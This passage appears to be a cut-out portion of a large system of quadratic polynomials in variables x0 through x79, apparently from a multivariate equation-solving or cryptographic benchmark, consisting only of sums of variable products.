x14*x72 + x14*x73 + x14*x74 + x14*x77 + x14*x78 + x14*x79 + x14 + x15*x17 + x15*x18 + x15*x19 + x15*x21 + x15*x26 + x15*x27 + x15*x30 + x15*x32 + x15*x33 + x15*x34 + x15*x35 + x15*x39 + x15*x40 + x15*x46 + x15*x47 + x15*x48 + x15*x52 + x15*x54 + x15*x59 + x15*x60 + x15*x64 + x15*x65 + x15*x66 + x15*x67 + x15*x68 + x15*x69 + x15*x71 + x15*x72 + x15*x73 + x15*x74 + x15*x77 + x16*x18 + x16*x21 + x16*x23 + x16*x24 + x16*x25 + x16*x27 + x16*x34 + x16*x36 + x16*x38 + x16*x42 + x16*x43 + x16*x47 + x16*x49 + x16*x50 + x16*x51 + x16*x52 + x16*x53 + x16*x55 + x16*x57 + x16*x65 + x16*x68 + x16*x69 + x16*x73 + x16*x77 + x16 + x17*x18 + x17*x19 + x17*x20 + x17*x21 + x17*x22 + x17*x23 + x17*x25 + x17*x29 + x17*x31 + x17*x32 + x17*x33 + x17*x38 + x17*x39 + x17*x40 + x17*x42 + x17*x43 + x17*x44 + x17*x45 + x17*x46 + x17*x47 + x17*x48 + x17*x49 + x17*x50 + x17*x52 + x17*x53 + x17*x55 + x17*x56 + x17*x59 + x17*x60 + x17*x61 + x17*x62 + x17*x63 + x17*x66 + x17*x67 + x17*x68 + x17*x69 + x17*x71 + x17*x72 + x17*x74 + x17*x76 + x17*x77 + x17*x78 + x17*x79 + x17 + x18*x20 + x18*x23 + x18*x25 + x18*x26 + x18*x27 + x18*x29 + x18*x30 + x18*x32 + x18*x33 + x18*x34 + x18*x35 + x18*x37 + x18*x39 + x18*x40 + x18*x41 + x18*x42 + x18*x44 + x18*x45 + x18*x47 + x18*x50 + x18*x52 + x18*x53 + x18*x58 + x18*x59 + x18*x60 + x18*x63 + x18*x67 + x18*x69 + x18*x70 + x18*x73 + x18*x76 + x18*x77 + x19*x20 + x19*x21 + x19*x23 + x19*x27 + x19*x29 + x19*x30 + x19*x31 + x19*x34 + x19*x36 + x19*x37 + x19*x38 + x19*x39 + x19*x41 + x19*x43 + x19*x44 + x19*x46 + x19*x50 + x19*x52 + x19*x55 + x19*x56 + x19*x57 + x19*x58 + x19*x61 + x19*x62 + x19*x64 + x19*x65 + x19*x66 + x19*x67 + x19*x68 + x19*x69 + x19*x70 + x19*x72 + x19*x76 + x19*x78 + x20*x21 + x20*x23 + x20*x24 + x20*x26 + x20*x28 + x20*x29 + x20*x32 + x20*x33 + x20*x34 + x20*x35 + x20*x36 + x20*x37 + x20*x38 + x20*x39 + x20*x40 + x20*x41 + x20*x42 + x20*x46 + x20*x48 + x20*x50 + x20*x52 + x20*x55 + x20*x56 + x20*x57 + x20*x58 + x20*x59 + x20*x62 + x20*x63 + x20*x64 + x20*x66 + x20*x67 + x20*x68 + x20*x69 + x20*x70 + x20*x71 + x20*x73 + x20*x74 + x20*x75 + x20*x76 + x20 + x21*x23 + x21*x24 + x21*x25 + x21*x29 + x21*x35 + x21*x37 + x21*x38 + x21*x42 + x21*x43 + x21*x45 + x21*x46 + x21*x47 + x21*x48 + x21*x49 + x21*x50 + x21*x52 + x21*x53 + x21*x54 + x21*x56 + x21*x57 + x21*x58 + x21*x59 + x21*x60 + x21*x61 + x21*x64 + x21*x66 + x21*x69 + x21*x70 + x21*x71 + x21*x72 + x21*x73 + x21*x76 + x21*x78 + x21 + x22*x23 + x22*x25 + x22*x26 + x22*x28 + x22*x30 + x22*x31 + x22*x33 + x22*x36 + x22*x37 + x22*x38 + x22*x40 + x22*x43 + x22*x44 + x22*x45 + x22*x49 + x22*x50 + x22*x51 + x22*x52 + x22*x53 + x22*x57 + x22*x61 + x22*x63 + x22*x66 + x22*x67 + x22*x68 + x22*x73 + x22*x74 + x22*x75 + x22*x76 + x22*x78 + x22*x79 + x23*x24 + x23*x25 + x23*x26 + x23*x27 + x23*x28 + x23*x33 + x23*x34 + x23*x35 + x23*x37 + x23*x41 + x23*x42 + x23*x44 + x23*x46 + x23*x48 + x23*x54 + x23*x56 + x23*x57 + x23*x63 + x23*x64 + x23*x69 + x23*x71 + x23*x74 + x23*x76 + x23*x78 + x24*x25 + x24*x26 + x24*x28 + x24*x30 + x24*x31 + x24*x34 + x24*x36 + x24*x38 + x24*x45 + x24*x46 + x24*x47 + x24*x51 + x24*x52 + x24*x53 + x24*x54 + x24*x55 + x24*x56 + x24*x58 + x24*x59 + x24*x61 + x24*x64 + x24*x66 + x24*x67 + x24*x70 + x24*x72 + x24*x74 + x24*x76 + x24*x77 + x24*x78 + x24*x79 + x24 + x25*x26 + x25*x27 + x25*x34 + x25*x35 + x25*x37 + x25*x38 + x25*x39 + x25*x41 + x25*x46 + x25*x50 + x25*x51 + x25*x55 + x25*x58 + x25*x59 + x25*x60 + x25*x61 + x25*x64 + x25*x66 + x25*x67 + x25*x68 + x25*x70 + x25*x71 + x25*x72 + x25*x74 + x25*x76 + x25*x77 + x25*x79 + x25 + x26*x27 + x26*x28 + x26*x29 + x26*x30 + x26*x32 + x26*x37 + x26*x38 + x26*x41 + x26*x42 + x26*x43 + x26*x45 + x26*x47 + x26*x48 + x26*x50 + x26*x51 + x26*x52 + x26*x53 + x26*x54 + x26*x55 + x26*x56 + x26*x58 + x26*x61 + x26*x63 + x26*x66 + x26*x68 + x26*x69 + x26*x70 + x26*x76 + x26*x79 + x27*x28 + x27*x29 + x27*x31 + x27*x33 + x27*x36 + x27*x37 + x27*x44 + x27*x45 + x27*x49 + x27*x51 + x27*x52 + x27*x55 + x27*x62 + x27*x65 + x27*x67 + x27*x68 + x27*x69 + x27*x70 + x27*x71 + x27*x73 + x27*x74 + x27*x75 + x27*x76 + x27*x77 + x27*x79 + x27 + x28*x29 + x28*x30 + x28*x31 + x28*x34 + x28*x35 + x28*x36 + x28*x37 + x28*x38 + x28*x39 + x28*x40 + x28*x42 + x28*x43 + x28*x44 + x28*x45 + x28*x48 + x28*x49 + x28*x50 + x28*x52 + x28*x53 + x28*x59 + x28*x60 + x28*x62 + x28*x63 + x28*x64 + x28*x68 + x28*x69 + x28*x72 + x28*x73 + x28*x75 + x28*x78 + x29*x31 + x29*x34 + x29*x38 + x29*x39 + x29*x41 + x29*x43 + x29*x49 + x29*x53 + x29*x57 + x29*x58 + x29*x62 + x29*x65 + x29*x67 + x29*x70 + x29*x77 + x29*x79 + x30*x36 + x30*x37 + x30*x39 + x30*x43 + x30*x44 + x30*x45 + x30*x46 + x30*x47 + x30*x48 + x30*x51 + x30*x52 + x30*x54 + x30*x57 + x30*x58 + x30*x59 + x30*x61 + x30*x63 + x30*x64 + x30*x65 + x30*x66 + x30*x70 + x30*x71 + x30*x72 + x30*x74 + x30*x75 + x30*x79 + x31*x35 + x31*x36 + x31*x39 + x31*x40 + x31*x42 + x31*x43 + x31*x46 + x31*x48 + x31*x55 + x31*x56 + x31*x58 + x31*x63 + x31*x65 + x31*x66 + x31*x69 + x31*x72 + x31*x76 + x31*x78 + x31*x79 + x31 + x32*x33 + x32*x34 + x32*x36 + x32*x40 + x32*x41 + x32*x42 + x32*x43 + x32*x44 + x32*x45 + x32*x49 + x32*x50 + x32*x51 + x32*x52 + x32*x55 + x32*x56 + x32*x57 + x32*x58 + x32*x59 + x32*x62 + x32*x63 + x32*x70 + x32*x71 + x32*x72 + x32*x76 + x32*x77 + x32*x78 + x32*x79 + x33*x34 + x33*x35 + x33*x36 + x33*x37 + x33*x38 + x33*x42 + x33*x47 + x33*x49 + x33*x51 + x33*x52 + x33*x56 + x33*x58 + x33*x59 + x33*x61 + x33*x63 + x33*x64 + x33*x66 + x33*x68 + x33*x70 + x33*x73 + x33*x74 + x33*x78 + x33*x79 + x33 + x34*x37 + x34*x39 + x34*x40 + x34*x41 + x34*x43 + x34*x45 + x34*x46 + x34*x47 + x34*x48 + x34*x49 + x34*x50 + x34*x51 + x34*x53 + x34*x54 + x34*x58 + x34*x59 + x34*x63 + x34*x64 + x34*x68 + x34*x70 + x34*x72 + x34*x74 + x34*x76 + x34*x77 + x34*x79 + x35*x36 + x35*x38 + x35*x43 + x35*x46 + x35*x48 + x35*x51 + x35*x53 + x35*x54 + x35*x55 + x35*x59 + x35*x60 + x35*x63 + x35*x64 + x35*x73 + x35*x74 + x35*x77 + x36*x38 + x36*x42 + x36*x43 + x36*x44 + x36*x45 + x36*x49 + x36*x52 + x36*x53 + x36*x55 + x36*x58 + x36*x59 + x36*x60 + x36*x65 + x36*x66 + x36*x68 + x36*x69 + x36*x70 + x36*x73 + x36*x75 + x36*x76 + x36*x77 + x36*x78 + x36*x79 + x37*x40 + x37*x43 + x37*x45 + x37*x47 + x37*x49 + x37*x50 + x37*x51 + x37*x53 + x37*x55 + x37*x56 + x37*x58 + x37*x61 + x37*x62 + x37*x63 + x37*x64 + x37*x65 + x37*x66 + x37*x67 + x37*x68 + x37*x69 + x37*x72 + x37*x73 + x37*x76 + x37*x77 + x37*x79 + x37 + x38*x40 + x38*x41 + x38*x43 + x38*x47 + x38*x49 + x38*x54 + x38*x56 + x38*x57 + x38*x59 + x38*x62 + x38*x66 + x38*x67 + x38*x68 + x38*x69 + x38*x70 + x38*x71 + x38*x72 + x38*x75 + x38*x76 + x38*x79 + x38 + x39*x41 + x39*x43 + x39*x46 + x39*x49 + x39*x54 + x39*x57 + x39*x58 + x39*x60 + x39*x63 + x39*x66 + x39*x70 + x39*x71 + x39*x73 + x39*x76 + x39*x79 + x40*x41 + x40*x44 + x40*x45 + x40*x46 + x40*x49 + x40*x50 + x40*x51 + x40*x53 + x40*x54 + x40*x55 + x40*x59 + x40*x60 + x40*x64 + x40*x67 + x40*x68 + x40*x72 + x40*x73 + x40*x76 + x40*x78 + x41*x43 + x41*x45 + x41*x46 + x41*x47 + x41*x48 + x41*x51 + x41*x52 + x41*x54 + x41*x55 + x41*x56 + x41*x59 + x41*x63 + x41*x67 + x41*x68 + x41*x71 + x41*x72 + x41*x73 + x41*x74 + x41*x75 + x41 + x42*x43 + x42*x46 + x42*x48 + x42*x50 + x42*x51 + x42*x52 + x42*x53 + x42*x54 + x42*x57 + x42*x58 + x42*x60 + x42*x61 + x42*x65 + x42*x66 + x42*x68 + x42*x69 + x42*x70 + x42*x71 + x42*x72 + x42*x76 + x42*x77 + x43*x44 + x43*x45 + x43*x49 + x43*x53 + x43*x55 + x43*x58 + x43*x59 + x43*x61 + x43*x62 + x43*x64 + x43*x65 + x43*x68 + x43*x71 + x43*x72 + x43*x73 + x43*x77 + x43*x79 + x44*x48 + x44*x52 + x44*x58 + x44*x59 + x44*x62 + x44*x64 + x44*x65 + x44*x67 + x44*x68 + x44*x71 + x44*x73 + x44*x74 + x44*x75 + x44*x76 + x44*x78 + x44*x79 + x45*x47 + x45*x48 + x45*x49 + x45*x51 + x45*x52 + x45*x53 + x45*x57 + x45*x59 + x45*x61 + x45*x62 + x45*x63 + x45*x66 + x45*x68 + x45*x71 + x45*x73 + x45*x75 + x45*x77 + x45*x78 + x46*x47 + x46*x49 + x46*x50 + x46*x53 + x46*x56 + x46*x59 + x46*x62 + x46*x63 + x46*x64 + x46*x65 + x46*x68 + x46*x69 + x46*x70 + x46*x71 + x46*x73 + x46*x74 + x46*x76 + x46*x77 + x47*x48 + x47*x50 + x47*x53 + x47*x55 + x47*x58 + x47*x59 + x47*x60 + x47*x61 + x47*x63 + x47*x64 + x47*x65 + x47*x68 + x47*x69 + x47*x72 + x47*x75 + x47*x77 + x47*x79 + x48*x56 + x48*x57 + x48*x58 + x48*x60 + x48*x61 + x48*x64 + x48*x65 + x48*x66 + x48*x68 + x48*x70 + x48*x72 + x48*x73 + x48*x75 + x48*x76 + x48*x78 + x49*x50 + x49*x51 + x49*x52 + x49*x53 + x49*x54 + x49*x55 + x49*x58 + x49*x59 + x49*x60 + x49*x68 + x49*x69 + x49*x74 + x49*x76 + x49*x77 + x49*x78 + x49 + x50*x53 + x50*x54 + x50*x55 + x50*x56 + x50*x57 + x50*x63 + x50*x72 + x50*x75 + x50*x76 + x50*x78 + x51*x53 + x51*x54 + x51*x55 + x51*x56 + x51*x57 + x51*x61 + x51*x62 + x51*x63 + x51*x67 + x51*x73 + x51*x74 + x51*x75 + x51*x78 + x52*x56 + x52*x57 + x52*x58 + x52*x62 + x52*x66 + x52*x68 + x52*x71 + x52*x76 + x52*x77 + x52*x78 + x53*x57 + x53*x62 + x53*x63 + x53*x64 + x53*x66 + x53*x69 + x53*x70 + x53*x71 + x53*x77 + x53*x78 + x53*x79 + x53 + x54*x55 + x54*x58 + x54*x60 + x54*x61 + x54*x64 + x54*x65 + x54*x67 + x54*x69 + x54*x71 + x54*x72 + x54*x73 + x54*x76 + x54 + x55*x56 + x55*x57 + x55*x60 + x55*x62 + x55*x63 + x55*x68 + x55*x69 + x55*x70 + x55*x74 + x55*x78 + x56*x60 + x56*x61 + x56*x62 + x56*x63 + x56*x66 + x56*x70 + x56*x71 + x56*x72 + x56*x74 + x56*x75 + x56*x76 + x56*x77 + x56*x78 + x56 + x57*x58 + x57*x60 + x57*x61 + x57*x62 + x57*x66 + x57*x72 + x57*x75 + x57*x77 + x57*x79 + x57 + x58*x60 + x58*x62 + x58*x65 + x58*x66 + x58*x68 + x58*x69 + x58*x70 + x58*x71 + x58*x73 + x58*x74 + x58*x75 + x58*x77 + x58*x78 + x58*x79 + x59*x61 + x59*x62 + x59*x63 + x59*x64 + x59*x65 + x59*x66 + x59*x70 + x59*x72 + x59*x73 + x59*x74 + x59*x75 + x59*x77 + x59*x78 + x60*x62 + x60*x64 + x60*x68 + x60*x72 + x60*x74 + x60*x76 + x60*x77 + x60*x78 + x60*x79 + x61*x62 + x61*x65 + x61*x67 + x61*x69 + x61*x72 + x61*x73 + x61*x74 + x61*x75 + x61*x78 + x61 + x62*x63 + x62*x64 + x62*x65 + x62*x66 + x62*x68 + x62*x69 + x62*x70 + x62*x72 + x62*x77 + x62 + x63*x64 + x63*x68 + x63*x69 + x63*x71 + x63*x72 + x63*x73 + x63*x74 + x63*x78 + x63*x79 + x63 + x64*x65 + x64*x67 + x64*x68 + x64*x71 + x64*x72 + x64 + x65*x66 + x65*x69 + x65*x73 + x65*x74 + x65 + x66*x68 + x66*x70 + x66*x71 + x66*x76 + x66*x77 + x66*x78 + x66 + x67*x68 + x67*x69 + x67*x71 + x67*x72 + x67*x73 + x67*x76 + x67*x77 + x67*x78 + x67*x79 + x68*x69 + x68*x72 + x68*x73 + x68*x74 + x68*x75 + x68*x76 + x68*x78 + x69*x71 + x69*x72 + x69*x74 + x69*x76 + x69*x77 + x70*x71 + x70*x72 + x70*x73 + x70*x76 + x70*x77 + x70*x78 + x70 + x71*x76 + x72*x74 + x72*x75 + x72*x78 + x73*x74 + x73*x77 + x73*x79 + x74*x75 + x74*x77 + x74 + x75*x76 + x75*x78 + x75 + x76*x77 + x76 + x77*x78 + x77*x79 + x77 + x78*x79 + x78 + x79, x0*x1 + x0*x2 + x0*x3 + x0*x4 + x0*x5 + x0*x12 + x0*x17 + x0*x20 + x0*x27 + x0*x28 + x0*x29 + x0*x30 + x0*x31 + x0*x32 + x0*x34 + x0*x35 + x0*x37 + x0*x38 + x0*x42 + x0*x45 + x0*x46 + x0*x49 + x0*x52 + x0*x53 + x0*x54 + x0*x56 + x0*x59 + x0*x60 + x0*x61 + x0*x62 + x0*x64 + x0*x65 + x0*x67 + x0*x69 + x0*x71 + x0*x72 + x0*x74 + x0*x75 + x0*x77 + x0*x79 + x1*x4 + x1*x8 + x1*x9 + x1*x12 + x1*x13 + x1*x14 + x1*x15 + x1*x18 + x1*x25 + x1*x26 + x1*x27 + x1*x31 + x1*x33 + x1*x39 + x1*x42 + x1*x43 + x1*x49 + x1*x50 + x1*x52 + x1*x53 + x1*x56 + x1*x58 + x1*x62 + x1*x64 + x1*x66 + x1*x67 + x1*x70 + x1*x74 + x1*x79 + x1 + x2*x3 + x2*x6 + x2*x9 + x2*x11 + x2*x12 + x2*x16 + x2*x17 + x2*x18 + x2*x19 + x2*x20 + x2*x21 + x2*x22 + x2*x24 + x2*x25 + x2*x29 + x2*x30 + x2*x32 + x2*x33 + x2*x35 + x2*x37 + x2*x39 + x2*x41 + x2*x43 + x2*x44 + x2*x45 + x2*x46 + x2*x47 + x2*x49 + x2*x54 + x2*x55 + x2*x56 + x2*x57 + x2*x60 + x2*x61 + x2*x62 + x2*x64 + x2*x66 + x2*x67 + x2*x68 + x2*x70 + x2*x72 + x2*x73 + x2*x79 + x3*x7 + x3*x11 + x3*x12 + x3*x13 + x3*x17 + x3*x18 + x3*x19 + x3*x21 + x3*x22 + x3*x23 + x3*x27 + x3*x29 + x3*x31 + x3*x32 + x3*x33 + x3*x35 + x3*x36 + x3*x37 + x3*x38 + x3*x40 + x3*x41 + x3*x43 + x3*x44 + x3*x45 + x3*x46 + x3*x47 + x3*x49 + x3*x55 + x3*x56 + x3*x60 + x3*x64 + x3*x65 + x3*x67 + x3*x70 + x3*x72 + x3*x74 + x3*x76 + x3*x77 + x3 + x4*x9 + x4*x10 + x4*x12 + x4*x13 + x4*x15 + x4*x17 + x4*x18 + x4*x22 + x4*x23 + x4*x24 + x4*x28 + x4*x29 + x4*x30 + x4*x31 + x4*x34 + x4*x35 + x4*x36 + x4*x37 + x4*x40 + x4*x44 + x4*x47 + x4*x48 + x4*x49 + x4*x50 + x4*x52 + x4*x53 + x4*x54 + x4*x57 + x4*x62 + x4*x69 + x4*x71 + x4*x73 + x4*x75 + x4 + x5*x6 + x5*x8 + x5*x9 + x5*x11 + x5*x13 + x5*x14 + x5*x15 + x5*x17 + x5*x19 + x5*x20 + x5*x21 + x5*x25 + x5*x26 + x5*x27 + x5*x28 + x5*x29 + x5*x31 + x5*x33 + x5*x34 + x5*x35 + x5*x36 + x5*x38 + x5*x39 + x5*x41 + x5*x45 + x5*x48 + x5*x50 + x5*x51 + x5*x52 + x5*x53 + x5*x56 + x5*x57 + x5*x59 + x5*x60 + x5*x62 + x5*x64 + x5*x65 + x5*x67 + x5*x68 + x5*x69 + x5*x70 + x5*x71 + x5*x74 + x5*x77 + x5*x79 + x6*x8 + x6*x10 + x6*x13 + x6*x15 + x6*x17 + x6*x20 + x6*x21 + x6*x23 + x6*x28 + x6*x34 + x6*x35 + x6*x36 + x6*x37 + x6*x39 + x6*x40 + x6*x43 + x6*x44 + x6*x46 + x6*x49 + x6*x50 + x6*x51 + x6*x52 + x6*x54 + x6*x55 + x6*x56 + x6*x58 + x6*x59 + x6*x61 + x6*x63 + x6*x64 + x6*x65 + x6*x66 + x6*x68 + x6*x69 + x6*x72 + x6*x74 + x6*x75 + x6*x76 + x6*x78 + x6 + x7*x8 + x7*x9 + x7*x10 + x7*x11 + x7*x14 + x7*x15 + x7*x18 + x7*x19 + x7*x20 + x7*x22 + x7*x32 + x7*x33 + x7*x34 + x7*x35 + x7*x36 + x7*x42 + x7*x44 + x7*x46 + x7*x47 + x7*x48 + x7*x50 + x7*x51 + x7*x52 + x7*x54 + x7*x58 + x7*x60 + x7*x61 + x7*x63 + x7*x66 + x7*x67 + x7*x69 + x7*x71 + x7*x72 + x7*x77 + x7*x79 + x7 + x8*x10 + x8*x12 + x8*x13 + x8*x14 + x8*x16 + x8*x17 + x8*x22 + x8*x28 + x8*x29 + x8*x30 + x8*x31 + x8*x33 + x8*x36 + x8*x38 + x8*x40 + x8*x41 + x8*x45 + x8*x46 + x8*x47 + x8*x52 + x8*x55 + x8*x57 + x8*x60 + x8*x62 + x8*x63 + x8*x64 + x8*x65 + x8*x66 + x8*x68 + x8*x69 + x8*x70 + x8*x72 + x8*x74 + x8*x75 + x8*x76 + x8*x77 + x8*x78 + x8*x79 + x8 + x9*x11 + x9*x12 + x9*x15 + x9*x18 + x9*x19 + x9*x21 + x9*x22 + x9*x23 + x9*x24 + x9*x28 + x9*x30 + x9*x31 + x9*x33 + x9*x35 + x9*x37 + x9*x42 + x9*x49 + x9*x50 + x9*x51 + x9*x52 + x9*x53 + x9*x54 + x9*x56 + x9*x58 + x9*x59 + x9*x61 + x9*x62 + x9*x63 + x9*x64 + x9*x65 + x9*x67 + x9*x68 + x9*x70 + x9*x71 + x9*x74 + x9*x76 + x9*x77 + x9*x78 + x9*x79 + x10*x13 + x10*x17 + x10*x22 + x10*x23 + x10*x24 + x10*x25 + x10*x32 + x10*x37 + x10*x38 + x10*x39 + x10*x41 + x10*x42 + x10*x45 + x10*x47 + x10*x49 + x10*x53 + x10*x54 + x10*x56 + x10*x57 + x10*x63 + x10*x66 + x10*x68 + x10*x69 + x10*x73 + x10*x76 + x10*x78 + x10*x79 + x10 + x11*x12 + x11*x14 + x11*x15 + x11*x17 + x11*x21 + x11*x22 + x11*x23 + x11*x24 + x11*x26 + x11*x28 + x11*x31 + x11*x33 + x11*x34 + x11*x35 + x11*x37 + x11*x41 + x11*x45 + x11*x46 + x11*x50 + x11*x52 + x11*x55 + x11*x56 + x11*x57 + x11*x62 + x11*x64 + x11*x65 + x11*x68 + x11*x69 + x11*x73 + x11*x75 + x11*x76 + x11*x77 + x11*x78 + x11*x79 + x11 + x12*x13 + x12*x15 + x12*x16 + x12*x17 + x12*x18 + x12*x19 + x12*x20 + x12*x21 + x12*x22 + x12*x24 + x12*x33 + x12*x34 + x12*x35 + x12*x37 + x12*x40 + x12*x41 + x12*x44 + x12*x47 + x12*x50 + x12*x53 + x12*x55 + x12*x56 + x12*x59 + x12*x60 + x12*x61 + x12*x64 + x12*x65 + x12*x66 + x12*x69 + x12*x70 + x12*x72 + x12*x76 + x12*x77 + x12*x78 + x12*x79 + x12 + x13*x15 + x13*x16 + x13*x17 + x13*x18 + x13*x19 + x13*x20 + x13*x21 + x13*x22 + x13*x23 + x13*x26 + x13*x29 + x13*x30 + x13*x31 + x13*x33 + x13*x35 + x13*x36 + x13*x39 + x13*x41 + x13*x43 + x13*x47 + x13*x48 + x13*x49 + x13*x50 + x13*x55 + x13*x56 + x13*x58 + x13*x59 + x13*x60 + x13*x61 + x13*x62 + x13*x63 + x13*x64 + x13*x69 + x13*x70 + x13*x71 + x13*x75 + x13*x76 + x13*x78 + x13*x79 + x13 + x14*x16 + x14*x17 + x14*x18 + x14*x19 + x14*x20 + x14*x21 + x14*x23 + x14*x26 + x14*x29 + x14*x30 + x14*x31 + x14*x33 + x14*x35 + x14*x42 + x14*x43 + x14*x44 + x14*x46 + x14*x47 + x14*x49 + x14*x50 + x14*x51 + x14*x52 + x14*x53 + x14*x57 + x14*x58 + x14*x60 + x14*x61 + x14*x63 + x14*x64 + x14*x65 + x14*x66 + x14*x67 + x14*x69 + x14*x74 + x14*x75 + x14*x77 + x14*x78 + x14*x79 + x15*x18 + x15*x19 + x15*x20 + x15*x22 + x15*x24 + x15*x26 + x15*x29 + x15*x32 + x15*x34 + x15*x35 + x15*x36 + x15*x37 + x15*x38 + x15*x39 + x15*x40 + x15*x41 + x15*x42 + x15*x44 + x15*x45 + x15*x46 + x15*x47 + x15*x48 + x15*x51 + x15*x53 + x15*x62 + x15*x63 + x15*x68 + x15*x69 + x15*x70 + x15*x71 + x15*x72 + x15*x73 + x15*x74 + x15*x76 + x15*x78 + x15 + x16*x17 + x16*x18 + x16*x20 + x16*x21 + x16*x22 + x16*x24 + x16*x26 + x16*x27 + x16*x28 + x16*x29 + x16*x30 + x16*x31 + x16*x32 + x16*x34 + x16*x35 + x16*x36 + x16*x38 + x16*x39 + x16*x42 + x16*x43 + x16*x44 + x16*x45 + x16*x46 + x16*x48 + x16*x53 + x16*x57 + x16*x59 + x16*x60 + x16*x67 + x16*x72 + x16*x74 + x16*x75 + x16*x76 + x16*x78 + x16*x79 + x16 + x17*x20 + x17*x21 + x17*x22 + x17*x25 + x17*x28 + x17*x30 + x17*x34 + x17*x37 + x17*x42 + x17*x44 + x17*x45 + x17*x46 + x17*x50 + x17*x51 + x17*x52 + x17*x54 + x17*x57 + x17*x59 + x17*x61 + x17*x69 + x17*x71 + x17*x72 + x17*x74 + x17*x75 + x17*x79 + x18*x19 + x18*x23 + x18*x24 + x18*x25 + x18*x33 + x18*x35 + x18*x37 + x18*x39 + x18*x40 + x18*x41 + x18*x48 + x18*x50 + x18*x53 + x18*x59 + x18*x62 + x18*x63 + x18*x65 + x18*x66 + x18*x67 + x18*x71 + x18*x76 + x18*x77 + x18 + x19*x24 + x19*x25 + x19*x28 + x19*x29 + x19*x32 + x19*x33 + x19*x43 + x19*x44 + x19*x46 + x19*x47 + x19*x48 + x19*x49 + x19*x51 + x19*x53 + x19*x54 + x19*x58 + x19*x64 + x19*x67 + x19*x68 + x19*x69 + x19*x72 + x19*x75 + x19*x77 + x19*x78 + x19*x79 + x19 + x20*x21 + x20*x22 + x20*x23 + x20*x26 + x20*x27 + x20*x29 + x20*x32 + x20*x33 + x20*x35 + x20*x36 + x20*x41 + x20*x44 + x20*x46 + x20*x47 + x20*x50 + x20*x51 + x20*x52 + x20*x54 + x20*x56 + x20*x57 + x20*x58 + x20*x59 + x20*x63 + x20*x64 + x20*x65 + x20*x67 + x20*x68 + x20*x69 + x20*x70 + x20*x71 + x20*x72 + x20*x73 + x20*x74 + x20*x75 + x20*x77 + x20*x78 + x21*x25 + x21*x27 + x21*x28 + x21*x29 + x21*x35 + x21*x39 + x21*x40 + x21*x41 + x21*x42 + x21*x45 + x21*x48 + x21*x50 + x21*x51 + x21*x54 + x21*x57 + x21*x60 + x21*x61 + x21*x62 + x21*x63 + x21*x67 + x21*x68 + x21*x69 + x21*x71 + x21*x78 + x21*x79 + x22*x24 + x22*x26 + x22*x29 + x22*x30 + x22*x31 + x22*x32 + x22*x37 + x22*x38 + x22*x39 + x22*x40 + x22*x42 + x22*x46 + x22*x47 + x22*x48 + x22*x49 + x22*x52 + x22*x54 + x22*x56 + x22*x58 + x22*x61 + x22*x63 + x22*x65 + x22*x67 + x22*x71 + x22*x73 + x22*x75 + x22*x77 + x22*x78 + x22*x79 + x22 + x23*x24 + x23*x25 + x23*x29 + x23*x30 + x23*x32 + x23*x34 + x23*x36 + x23*x39 + x23*x41 + x23*x42 + x23*x43 + x23*x44 + x23*x45 + x23*x46 + x23*x47 + x23*x50 + x23*x52 + x23*x53 + x23*x56 + x23*x58 + x23*x60 + x23*x65 + x23*x66 + x23*x67 + x23*x68 + x23*x73 + x23*x75 + x23*x76 + x23*x77 + x23*x79 + x23 + x24*x29 + x24*x30 + x24*x31 + x24*x37 + x24*x39 + x24*x41 + x24*x44 + x24*x45 + x24*x46 + x24*x48 + x24*x49 + x24*x51 + x24*x52 + x24*x53 + x24*x54 + x24*x55 + x24*x56 + x24*x57 + x24*x58 + x24*x59 + x24*x62 + x24*x63 + x24*x67 + x24*x68 + x24*x70 + x24*x71 + x24*x74 + x24*x75 + x24*x77 + x24*x79 + x24 + x25*x28 + x25*x29 + x25*x30 + x25*x31 + x25*x32 + x25*x35 + x25*x39 + x25*x40 + x25*x41 + x25*x42 + x25*x43 + x25*x46 + x25*x51 + x25*x53 + x25*x56 + x25*x58 + x25*x59 + x25*x61 + x25*x62 + x25*x63 + x25*x67 + x25*x69 + x25*x74 + x25*x76 + x25*x77 + x25*x78 + x25 + x26*x27 + x26*x29 + x26*x30 + x26*x31 + x26*x32 + x26*x34 + x26*x36 + x26*x37 + x26*x41 + x26*x43 + x26*x47 + x26*x48 + x26*x52 + x26*x53 + x26*x54 + x26*x57 + x26*x65 + x26*x67 + x26*x69 + x26*x70 + x26*x73 + x26*x74 + x26*x76 + x26*x77 + x26*x78 + x26*x79 + x26 + x27*x30 + x27*x32 + x27*x33 + x27*x34 + x27*x41 + x27*x42 + x27*x47 + x27*x48 + x27*x49 + x27*x50 + x27*x53 + x27*x54 + x27*x56 + x27*x57 + x27*x58 + x27*x64 + x27*x68 + x27*x69 + x27*x70 + x27*x71 + x27*x72 + x27*x74 + x27*x75 + x27*x76 + x27*x77 + x27*x79 + x28*x29 + x28*x30 + x28*x33 + x28*x37 + x28*x38 + x28*x40 + x28*x41 + x28*x42 + x28*x44 + x28*x49 + x28*x51 + x28*x54 + x28*x55 + x28*x56 + x28*x57 + x28*x63 + x28*x64 + x28*x65 + x28*x67 + x28*x69 + x28*x72 + x28*x73 + x28*x74 + x28*x77 + x28*x78 + x28*x79 + x28 + x29*x30 + x29*x32 + x29*x33 + x29*x35 + x29*x36 + x29*x37 + x29*x38 + x29*x39 + x29*x40 + x29*x43 + x29*x44 + x29*x46 + x29*x48 + x29*x55 + x29*x58 + x29*x59 + x29*x60 + x29*x61 + x29*x62 + x29*x68 + x29*x69 + x29*x70 + x29*x71 + x29*x72 + x29*x73 + x29*x74 + x29*x77 + x29*x78 + x29*x79 + x29 + x30*x35 + x30*x36 + x30*x38 + x30*x45 + x30*x47 + x30*x48 + x30*x49 + x30*x51 + x30*x53 + x30*x57 + x30*x58 + x30*x60 + x30*x62 + x30*x64 + x30*x70 + x30*x72 + x30*x73 + x30*x74 + x30*x75 + x30*x76 + x30*x77 + x30*x79 + x30 + x31*x32 + x31*x33 + x31*x37 + x31*x39 + x31*x40 + x31*x44 + x31*x47 + x31*x49 + x31*x50 + x31*x52 + x31*x55 + x31*x57 + x31*x58 + x31*x60 + x31*x61 + x31*x64 + x31*x65 + x31*x66 + x31*x67 + x31*x68 + x31*x69 + x31*x70 + x31*x72 + x31*x73 + x31*x74 + x31*x75 + x31*x78 + x32*x33 + x32*x34 + x32*x35 + x32*x38 + x32*x40 + x32*x41 + x32*x42 + x32*x43 + x32*x44 + x32*x52 + x32*x54 + x32*x56 + x32*x57 + x32*x58 + x32*x59 + x32*x60 + x32*x62 + x32*x63 + x32*x67 + x32*x68 + x32*x69 + x32*x72 + x32*x73 + x32*x75 + x32*x77 + x32*x78 + x32*x79 + x32 + x33*x34 + x33*x35 + x33*x36 + 